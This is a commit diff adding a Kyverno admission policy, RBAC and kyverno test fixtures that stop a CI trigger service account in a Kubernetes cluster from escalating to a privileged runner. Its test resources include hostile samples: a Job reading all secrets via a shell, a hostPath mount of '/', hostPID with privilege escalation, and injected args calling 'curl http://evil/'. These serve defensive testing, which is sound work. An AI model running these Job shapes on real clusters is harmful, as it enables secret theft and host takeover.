feat(sec): constrain the conformance CI trigger at admission (R-SEC-02)

Implements the credential model the operator chose for wiring L2/L3 into CI: a narrow trigger SA bounded by a fail-closed Kyverno admission policy, rather than the zero-credential GitOps-native alternative (plan section 4, primary model). THE ESCALATION THIS CLOSES. Kubernetes places NO `use` check on a Job's serviceAccountName. Any principal that can `create jobs` in ns conformance can create a Job running as conformance-runner -- nodes/patch, pods/exec, namespaces/patch -- with an arbitrary command. A CI token with plain `create jobs` IS that privileged identity no matter how narrow its own Role looks. RBAC cannot fix this; only constraining the SHAPE of what the trigger may create can. Adds: * SA/Role/RoleBinding conformance-trigger -- create+get+list+watch jobs, get pods and pods/log, nothing else. Namespaced. No delete (a trigger that can delete can hide a failed run), no exec, no secrets. Results come back as a tarball on stdout read via pods/log, so no execution channel into the runner pod is ever granted. * ClusterPolicy conformance-trigger-job-shape -- Enforce, failurePolicy: Fail. It does NOT use ${KYVERNO_VALIDATION_ACTION}: a security boundary an overlay can downgrade to Audit is not a boundary. It constrains ONLY conformance-trigger, so a mistake here cannot wedge the rest of the cluster. * Flux Kustomization `conformance` -> ./conformance/incluster, wait:false and non-gating like apps-vms, so a test identity can never stall the platform or app tiers. * A kyverno test with seven cases, six of them real escalation paths. VERIFIED by `kyverno apply` (pass: 10, fail: 6, error: 0), not assumed: evil-command DENIED at /spec/template/spec/containers/0/command/ <- THE attack evil-image DENIED at .../image/ tag-not-digest DENIED at .../image/ (mutable tag is republishable) host-namespaces DENIED at /spec/template/spec/hostPID/ extra-volume DENIED by the volumes foreach injected-args DENIED by the args foreach good-run ADMITTED ALSO FIXES A FAIL-OPEN IN THE GATE ITSELF. `kyverno test` does NOT fail when a policy cannot LOAD: every row becomes "Skip / Invalid Policy" and it still prints "N tests passed" and exits 0. Measured while writing this policy -- a schema error (subjects in a separate match.all entry from resources) produced exactly that, and ci/l0.sh would have certified a security policy that does not load as green. This is not specific to this policy: a typo in restrict-host-namespaces or secret-provenance would silently disable it with the gate still green. ci/l0.sh now scans for "Invalid Policy" and fails. Proven: broken policy -> l0 rc=1, restored -> rc=0. IMAGE PINNING, HONEST LIMIT: the plan specifies pinning the exact runner image digest. That image does not exist yet, so this enforces the enforceable half -- the image must be under the conformance repository path AND digest-pinned, never a mutable tag. Residual surface: anyone who can PUSH to that path could publish a different digest. Tighten to the literal digest when the image is built; it is a one-line change to the pattern, reviewed in a PR, which is where a change to a security boundary belongs. NOT YET WIRED, deliberately: no runner image, no trigger kubeconfig, no CLUSTER_AVAILABLE. The identities here are inert until those exist, and PR #12 makes CLUSTER_AVAILABLE=true block rather than fake a green in the meantime. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 03:22:41 -05:00
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@@ -0,0 +1,144 @@
+# Serves: R-SEC-02 (CI holds no broad cluster access)
+#
+# THIS POLICY IS THE SECURITY BOUNDARY. The RBAC in conformance/incluster/rbac.yaml is not.
+#
+# Kubernetes places NO `use` check on a Pod/Job's `serviceAccountName`. Any principal that can
+# `create jobs` in namespace `conformance` can therefore create a Job that runs as
+# `conformance-runner` — a privileged SA (nodes/patch, pods/exec, namespaces/patch) — with an
+# arbitrary command. So the CI trigger credential, however narrow its own Role looks, IS the
+# privileged identity unless something constrains the SHAPE of what it may create.
+#
+# That is what this does: for Jobs created by `conformance-trigger` ONLY, admit exactly the
+# committed conformance run and deny everything else. The operator chose this model
+# (docs/plans/l2-l3-conformance-ci-wiring.md §4, primary model) over the zero-credential
+# GitOps-native alternative.
+#
+# ENFORCE AND FAIL-CLOSED, NOT SUBSTITUTED. Note this does NOT use
+# ${KYVERNO_VALIDATION_ACTION} like the other admission policies: a security boundary that an
+# environment overlay can downgrade to Audit is not a boundary. `failurePolicy: Fail` means a
+# Kyverno outage blocks conformance Jobs rather than silently admitting unconstrained ones.
+# Blocking CI is the correct failure direction here; admitting arbitrary privileged code is not.
+#
+# SCOPE: it constrains ONLY `conformance-trigger`. Jobs created by humans, by Flux, or by any
+# other SA are untouched — so a broken policy cannot wedge the rest of the cluster.
+#
+# IMAGE PINNING — HONEST LIMIT, READ BEFORE RELYING ON THIS. The plan specifies pinning the
+# exact `CONFORMANCE_RUNNER_IMAGE` digest. That image does not exist yet, so this enforces the
+# enforceable half: the image must live under the conformance repository path AND be
+# digest-pinned (`@sha256:`), never a mutable tag. Residual surface: anyone who can PUSH to that
+# registry path could publish a different digest. TIGHTEN THIS when the image is built by
+# replacing the `image` pattern below with the literal digest — a one-line change, reviewed in a
+# PR, which is exactly where a change to the security boundary belongs.
+apiVersion: kyverno.io/v1
+kind: ClusterPolicy
+metadata:
+  name: conformance-trigger-job-shape
+  annotations:
+    policies.kyverno.io/title: Constrain what the conformance CI trigger may create
+    policies.kyverno.io/category: Supply chain
+    policies.kyverno.io/severity: critical
+    homelab.keithjackson.dev/requirements: R-SEC-02
+    homelab.keithjackson.dev/scope: admission-only
+spec:
+  validationFailureAction: Enforce
+  failurePolicy: Fail
+  background: false
+  rules:
+    - name: trigger-may-create-only-the-committed-conformance-run
+      # resources AND subjects in the SAME filter entry — that is how Kyverno ANDs them.
+      # As two separate `all` entries it is a schema error ("match resources not specified")
+      # and the whole policy loads as INVALID, which the CLI reports as a SKIP.
+      match:
+        all:
+          - resources:
+              kinds:
+                - Job
+              namespaces:
+                - conformance
+            subjects:
+              - kind: ServiceAccount
+                name: conformance-trigger
+                namespace: conformance
+      validate:
+        message: >-
+          conformance-trigger may create ONLY the committed conformance run: a single container,
+          digest-pinned conformance-runner image, serviceAccountName conformance-runner,
+          command ["./run.sh"], no host namespaces, non-root with privilege escalation disabled,
+          and only the `workspace` and `results` volumes. See
+          platform/kyverno/admission/conformance-trigger-job-shape.yaml.
+        pattern:
+          spec:
+            template:
+              spec:
+                serviceAccountName: conformance-runner
+                =(hostNetwork): "false"
+                =(hostPID): "false"
+                =(hostIPC): "false"
+                containers:
+                  - image: "gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:*"
+                    command:
+                      - "./run.sh"
+                    securityContext:
+                      runAsNonRoot: true
+                      allowPrivilegeEscalation: false
+                      =(privileged): "false"
+
+    - name: trigger-volumes-must-be-workspace-or-results
+      # resources AND subjects in the SAME filter entry — that is how Kyverno ANDs them.
+      # As two separate `all` entries it is a schema error ("match resources not specified")
+      # and the whole policy loads as INVALID, which the CLI reports as a SKIP.
+      match:
+        all:
+          - resources:
+              kinds:
+                - Job
+              namespaces:
+                - conformance
+            subjects:
+              - kind: ServiceAccount
+                name: conformance-trigger
+                namespace: conformance
+      validate:
+        message: >-
+          conformance-trigger Jobs may mount only the `workspace` and `results` volumes. An extra
+          volume is how a constrained pod reaches a host path, a secret, or another SA's token.
+        # foreach, NOT a `pattern` list: a Kyverno array pattern asserts "at least one element
+        # matches", which would happily admit a Job carrying `workspace` PLUS a hostPath. This
+        # asserts EVERY volume is one of the two allowed names.
+        foreach:
+          - list: "request.object.spec.template.spec.volumes"
+            deny:
+              conditions:
+                all:
+                  - key: "{{ element.name }}"
+                    operator: AnyNotIn
+                    value: ["workspace", "results"]
+
+    - name: trigger-args-must-be-the-committed-flags
+      # resources AND subjects in the SAME filter entry — that is how Kyverno ANDs them.
+      # As two separate `all` entries it is a schema error ("match resources not specified")
+      # and the whole policy loads as INVALID, which the CLI reports as a SKIP.
+      match:
+        all:
+          - resources:
+              kinds:
+                - Job
+              namespaces:
+                - conformance
+            subjects:
+              - kind: ServiceAccount
+                name: conformance-trigger
+                namespace: conformance
+      validate:
+        message: >-
+          conformance-trigger Job args may contain only the conformance run's own flags
+          (--layer, --requirements, --include-scope, --strict-coverage) and their plain values.
+          Anything else — a shell, a path, a redirect — is denied.
+        foreach:
+          - list: "request.object.spec.template.spec.containers[0].args"
+            deny:
+              conditions:
+                all:
+                  - key: "{{ regex_match('^(--layer|--requirements|--include-scope|--strict-coverage|[A-Za-z0-9][A-Za-z0-9,._-]*)$', element) }}"
+                    operator: Equals
+                    value: false
@@ -20,3 +20,7 @@ resources:
  # --- secrets: the admission variant REPLACES the CI-only sops-block policy ---
  #     (../policies/disallow-plaintext-secrets.yaml is CI-only; see secret-provenance.yaml)
  - secret-provenance.yaml
+  # --- R-SEC-02: constrain what the conformance CI trigger may create ---
+  # THE security boundary for CI cluster access. Enforce + fail-closed, deliberately NOT
+  # subject to ${KYVERNO_VALIDATION_ACTION}. See the file header.
+  - conformance-trigger-job-shape.yaml
@@ -0,0 +1,57 @@
+# R-SEC-02 — the conformance CI trigger cannot escalate to arbitrary privileged execution.
+#
+# Each DENY case below is a real escalation path, not a style violation. The one that matters
+# most is `evil-command`: correct SA, correct image, arbitrary command. That is the attack the
+# whole model exists to stop, and RBAC alone cannot — Kubernetes places no `use` check on
+# serviceAccountName, so `create jobs` in this namespace IS the privileged identity without
+# this policy.
+#
+# user-info.yaml supplies the requesting identity. WITHOUT it the policy's `subjects` match
+# never fires and every case trivially passes — a test that proves nothing.
+apiVersion: cli.kyverno.io/v1alpha1
+kind: Test
+metadata:
+  name: conformance-trigger-job-shape
+policies:
+  - ../../admission/conformance-trigger-job-shape.yaml
+resources:
+  - resources.yaml
+userinfo: user-info.yaml
+results:
+  # ---- the committed run is ADMITTED ----
+  - policy: conformance-trigger-job-shape
+    rule: trigger-may-create-only-the-committed-conformance-run
+    kind: Job
+    resources: [good-run]
+    result: pass
+  - policy: conformance-trigger-job-shape
+    rule: trigger-volumes-must-be-workspace-or-results
+    kind: Job
+    resources: [good-run]
+    result: pass
+  - policy: conformance-trigger-job-shape
+    rule: trigger-args-must-be-the-committed-flags
+    kind: Job
+    resources: [good-run]
+    result: pass
+
+  # ---- THE escalation: runner SA + arbitrary command ----
+  - policy: conformance-trigger-job-shape
+    rule: trigger-may-create-only-the-committed-conformance-run
+    kind: Job
+    resources: [evil-command, evil-image, tag-not-digest, host-namespaces]
+    result: fail
+
+  # ---- an extra volume is the way out of a constrained pod ----
+  - policy: conformance-trigger-job-shape
+    rule: trigger-volumes-must-be-workspace-or-results
+    kind: Job
+    resources: [extra-volume]
+    result: fail
+
+  # ---- args beyond the committed flags ----
+  - policy: conformance-trigger-job-shape
+    rule: trigger-args-must-be-the-committed-flags
+    kind: Job
+    resources: [injected-args]
+    result: fail
@@ -0,0 +1,154 @@
+# The committed shape — must be ADMITTED.
+apiVersion: batch/v1
+kind: Job
+metadata:
+  name: good-run
+  namespace: conformance
+spec:
+  template:
+    spec:
+      serviceAccountName: conformance-runner
+      containers:
+        - name: runner
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
+          command: ["./run.sh"]
+          args: ["--layer", "l2,l3", "--requirements", "R-NET-01"]
+          securityContext:
+            runAsNonRoot: true
+            allowPrivilegeEscalation: false
+      volumes:
+        - name: workspace
+          emptyDir: {}
+        - name: results
+          emptyDir: {}
+---
+# THE ESCALATION: runner SA, but an arbitrary command. Must be DENIED.
+apiVersion: batch/v1
+kind: Job
+metadata:
+  name: evil-command
+  namespace: conformance
+spec:
+  template:
+    spec:
+      serviceAccountName: conformance-runner
+      containers:
+        - name: runner
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
+          command: ["/bin/sh", "-c", "kubectl get secrets -A"]
+          securityContext:
+            runAsNonRoot: true
+            allowPrivilegeEscalation: false
+      volumes:
+        - name: workspace
+          emptyDir: {}
+---
+# An arbitrary image running as the privileged SA. Must be DENIED.
+apiVersion: batch/v1
+kind: Job
+metadata:
+  name: evil-image
+  namespace: conformance
+spec:
+  template:
+    spec:
+      serviceAccountName: conformance-runner
+      containers:
+        - name: runner
+          image: docker.io/library/alpine:latest
+          command: ["./run.sh"]
+          securityContext:
+            runAsNonRoot: true
+            allowPrivilegeEscalation: false
+      volumes:
+        - name: workspace
+          emptyDir: {}
+---
+# A mutable TAG instead of a digest — republishable under the same reference. Must be DENIED.
+apiVersion: batch/v1
+kind: Job
+metadata:
+  name: tag-not-digest
+  namespace: conformance
+spec:
+  template:
+    spec:
+      serviceAccountName: conformance-runner
+      containers:
+        - name: runner
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner:latest
+          command: ["./run.sh"]
+          securityContext:
+            runAsNonRoot: true
+            allowPrivilegeEscalation: false
+      volumes:
+        - name: workspace
+          emptyDir: {}
+---
+# Host namespaces + privilege escalation. Must be DENIED.
+apiVersion: batch/v1
+kind: Job
+metadata:
+  name: host-namespaces
+  namespace: conformance
+spec:
+  template:
+    spec:
+      serviceAccountName: conformance-runner
+      hostPID: true
+      containers:
+        - name: runner
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
+          command: ["./run.sh"]
+          securityContext:
+            runAsNonRoot: false
+            allowPrivilegeEscalation: true
+      volumes:
+        - name: workspace
+          emptyDir: {}
+---
+# An extra volume — the way out of a constrained pod. Must be DENIED.
+apiVersion: batch/v1
+kind: Job
+metadata:
+  name: extra-volume
+  namespace: conformance
+spec:
+  template:
+    spec:
+      serviceAccountName: conformance-runner
+      containers:
+        - name: runner
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
+          command: ["./run.sh"]
+          securityContext:
+            runAsNonRoot: true
+            allowPrivilegeEscalation: false
+      volumes:
+        - name: workspace
+          emptyDir: {}
+        - name: hostroot
+          hostPath:
+            path: /
+---
+# Injected args beyond the committed flags. Must be DENIED.
+apiVersion: batch/v1
+kind: Job
+metadata:
+  name: injected-args
+  namespace: conformance
+spec:
+  template:
+    spec:
+      serviceAccountName: conformance-runner
+      containers:
+        - name: runner
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
+          command: ["./run.sh"]
+          args: ["--layer", "l2", ";", "curl", "http://evil/"]
+          securityContext:
+            runAsNonRoot: true
+            allowPrivilegeEscalation: false
+      volumes:
+        - name: workspace
+          emptyDir: {}
@@ -0,0 +1,12 @@
+# The requesting identity the policy keys on. Without this the `subjects` match never fires and
+# every case below would trivially "pass" — proving nothing.
+apiVersion: cli.kyverno.io/v1alpha1
+kind: UserInfo
+metadata:
+  name: conformance-trigger
+userInfo:
+  username: system:serviceaccount:conformance:conformance-trigger
+  groups:
+    - system:serviceaccounts
+    - system:serviceaccounts:conformance
+    - system:authenticated